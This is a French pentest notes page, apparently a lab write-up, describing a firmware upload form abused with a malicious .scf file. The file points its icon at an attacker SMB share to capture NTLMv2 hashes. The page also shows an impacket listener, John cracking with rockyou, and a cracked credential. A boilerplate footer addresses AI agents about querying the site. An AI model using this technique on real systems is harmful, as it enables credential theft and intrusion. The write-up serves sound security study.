> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.scf-file-pentesting-web.md).

# Téléversement de fichier et capture NTLMv2 .scf

<figure><img src="/files/b2a8283642f22d68acd0dfcfa56681fc8e78562b" alt=""><figcaption></figcaption></figure>

Le site propose une option de téléversement du micrologiciel. Le message indique :

> Sélectionnez le modèle d’imprimante et téléchargez la mise à jour du micrologiciel correspondant sur notre partage de fichiers. Notre équipe informatique examinera les téléversements manuellement et lancera bientôt les tests.

<figure><img src="/files/78bb1a8420f88b99d69189e6636f1acc58ae8848" alt=""><figcaption></figcaption></figure>

## Exploitation - Fichier SCF malveillant :

Création d’un fichier malveillant `.scf` pour capturer le NTLMv2 d’un utilisateur lorsqu’il l’ouvre :

```
[Shell]
Command=2
IconFile=//10.10.14.7/smbFolder/pentestlab.ico
[Taskbar]
Command=ToggleDesktop

```

Démarrez un écouteur avec **impacket** pour capturer le NTLMv2 :

```bash
impacket-smbserver smbFolder $(pwd) -smb2support

```

Capture du hachage NTLMv2 de l’utilisateur `tony`.

<figure><img src="/files/cfaa57c7b8269be95f478cc94b1648d11c2f2a30" alt=""><figcaption></figcaption></figure>

Craquage du hachage NTLM avec **John**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

```

`tony:liltony`

<figure><img src="/files/5cf26a703e076685719560f833a04efc7f1dce04" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/file-upload-attack/file-upload-+-capture-ntlmv2-.scf-file-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
